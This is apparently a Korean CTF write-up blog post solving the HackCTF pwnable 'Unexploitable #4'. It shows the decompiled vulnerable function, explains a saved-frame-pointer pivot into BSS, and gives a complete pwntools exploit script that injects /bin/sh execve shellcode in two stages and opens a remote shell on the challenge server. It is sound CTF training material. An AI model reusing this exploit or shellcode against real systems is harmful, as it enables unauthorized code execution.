HackCTF - Unexploitable #4
2021. 10. 15. 15:49ㆍPwnable
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF
((void (__fastcall *)(__int64, char **, char **))init_)(a1, a2, a3);
fgets(s, 0x2C, stdin);
return 0LL;
}
다 풀려있었기에 shellcode를 의도한 문제라고 합리적의심을 할 수 있었다.
처음에 구상은 아래와 같이 했다
- SFP를 BSS로 조작해서 shellcode 2번에 나누어서 삽입
- shellcode가 있는 주소를 ret 해서 익스 진행
그런데 위와 같이 하다보니 레지스터가 꼬이는 상황이 발생했고, 적절하게 sub rsp, 0x20 을 해줘서 익스가 가능했다.
익스 코드는 아래와 같다.
#r = process("./Unexploitable_4")
r = remote("ctf.j0n9hyun.xyz", 3039)
e = ELF("./Unexploitable_4")
l = e.libc
context.log_level = "debug"
main_add = 0x00000000004006DB #after_init_main
bss_add = e.bss()+0x800 #0x601840
log.info("main_add = " + hex(main_add))
log.info("bss_add = " + hex(bss_add))
sub_rsp_0x20 = "\x48\x81\xec\x20\x00\x00\x00" #sub_rsp_0x20
shell64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #shellcode
shellcode = sub_rsp_0x20 + shell64
shellcode1 = shellcode[:8]
shellcode2 = shellcode[8:]
#set sfp
pay = ""
pay += "A"*0x10
pay += p64(bss_add)
pay += p64(main_add)
r.sendline(pay)
#shellcode1 --> bss
pay = "A"*0x10
pay += p64(bss_add+0x28)
pay += p64(main_add)
pay += shellcode1
print(pay)
r.sendline(pay)
#shellcode2 --> bss
pay = ""
pay += shellcode2
pay = pay.ljust(0x18, "\x90")
pay += p64(bss_add+0x10)
r.sendline(pay)
r.interactive()
'Pwnable' 카테고리의 다른 글
HackCTF - 훈폰정음 (0) | 2021.12.05 |
---|---|
pwnable.kr - echo1 (0) | 2021.10.21 |
dreamhack.io - iofile_aw (0) | 2021.10.06 |
pwnable.xyz - SUS (0) | 2021.09.30 |
pwnable.xyz - TLSv00 (0) | 2021.09.29 |